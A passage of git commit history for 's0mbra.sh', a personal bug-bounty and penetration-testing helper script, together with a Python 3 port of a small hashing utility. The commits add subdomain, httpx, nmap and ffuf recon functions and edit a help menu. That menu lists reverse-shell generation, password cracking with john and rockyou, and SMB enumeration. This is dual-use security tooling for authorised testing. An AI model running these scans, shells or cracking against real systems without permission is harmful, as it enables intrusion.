chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" - echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" - echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" - echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" - echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - - echo -e "\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN Hack The Planet!\n$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" + echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CLR" ;; esac From ec158984b8e78342c87e3b1615c69bad79a6d3d9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 1 May 2022 07:03:19 +0100 Subject: [PATCH 291/460] [s0mbra] snyktest refactoring --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 81b1cca..531b6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,11 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { + echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + npm audit . echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n$BLUE[s0mbra] Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open From ef9fe657890d7ebf269cdbf4fb8e425d5a0d7729 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 2 May 2022 12:08:32 +0100 Subject: [PATCH 292/460] [s0mbra] snyktest command output improvements --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 531b6e3..3f7d1b5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,10 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" + echo -e "$BLUE[s0mbra] Running npm audit...$CLR" npm audit . - echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test...$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From 5f44fdf290a569dbb19217f3ca1cd42e2beb6750 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 May 2022 21:32:09 +0100 Subject: [PATCH 293/460] [s0mbra] snyktest command output improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f7d1b5..8d05e3c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -119,9 +119,9 @@ um() { # with nodestructor and semgrep snyktest() { echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" - echo -e "$BLUE[s0mbra] Running npm audit...$CLR" + echo -e "$BLUE[s0mbra] Running npm audit$CLR" npm audit . - echo -e "$BLUE[s0mbra] Running snyk test...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From d6d1e771324d180d5bec20715e1a19cd526631b2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:29:22 +0100 Subject: [PATCH 294/460] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 41 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8d05e3c..5889cea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,6 +237,41 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# quick lookaround, but for single domain - no need to create scope file +takealook() { + TMPDIR=$(pwd) + START_TIME=$(date) + DOMAIN=$1 + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) @@ -641,6 +676,9 @@ case "$cmd" in lookaround) lookaround "$2" ;; + takealook) + takealook "$2" + ;; recon) recon "$2" ;; @@ -744,7 +782,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 82604e93a8643e1978bbd9861a6e7783fb8de95b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:34:13 +0100 Subject: [PATCH 295/460] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5889cea..863a861 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -782,7 +782,7 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" From c669067ca7697202291e9d3c2975a37fcbdee660 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 May 2022 20:04:02 +0100 Subject: [PATCH 296/460] [s0mbra] remove unused fufilter --- s0mbra.sh | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 863a861..204ac97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -418,28 +418,6 @@ api_fuzz() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fufilter() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" - - if [[ -n $4 ]]; then - if [[ $4 == "/" ]]; then - # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -766,9 +744,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufilter) - fufilter "$2" "$3" "$4" "$5" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -789,7 +764,6 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 289c53c333b228a8da52fd4029a222969ae20da5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 9 May 2022 08:54:55 +0100 Subject: [PATCH 297/460] [hacher] Refactor to Python 3 --- hasher.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/hasher.py b/hasher.py index 91f9ac0..b849f30 100755 --- a/hasher.py +++ b/hasher.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin//env python3 ### github.com/bl4de | hackerone.com/bl4de ### import sys @@ -13,22 +13,22 @@ def usage(): - print description + print(description) exit(0) + def hex_encode(s): enc = '' for c in s: - enc = enc + (str(hex(ord(c))).replace('0x','')) + enc = enc + (str(hex(c)).replace('0x', '')) return enc def main(s): - print "SHA1\t\t{}".format(hashlib.sha1(s).hexdigest()) - print "MD5 \t\t{}".format(hashlib.md5(s).hexdigest()) - print "Base64 \t\t{}".format(base64.b64encode(s)) - print "URL-encoded \t{}".format(urllib.pathname2url(s)) - print "HEX encoded \t{}".format(hex_encode(s)) + print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) + print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) + print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) if __name__ == "__main__": From 076f9787b5a976774ebc44e44418874def6cc4a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 14 May 2022 17:28:10 +0100 Subject: [PATCH 298/460] [s0mbra] menu improvement --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 204ac97..1285342 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -772,7 +772,7 @@ case "$cmd" in echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From be160ef9df6adf6f2c9e5fa1e5cc2d5190213ed8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 15 May 2022 12:48:22 +0100 Subject: [PATCH 299/460] [s0mbra] remove ransack; use recon instead of ransack; --- s0mbra.sh | 48 +++--------------------------------------------- 1 file changed, 3 insertions(+), 45 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1285342..c56c513 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -272,46 +272,9 @@ takealook() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file -recon() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - - # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); - do - NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - done - - END_TIME=$(date) - echo -e "\n$GREEN[s0mbra] Finished!" - echo -e "\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" - echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" - echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) -ransack() { +recon() { HOSTNAME=$1 # set options: @@ -658,10 +621,7 @@ case "$cmd" in takealook "$2" ;; recon) - recon "$2" - ;; - ransack) - ransack "$2" "$3" "$4" + recon "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" @@ -755,12 +715,10 @@ case "$cmd" in ;; *) clear - echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon 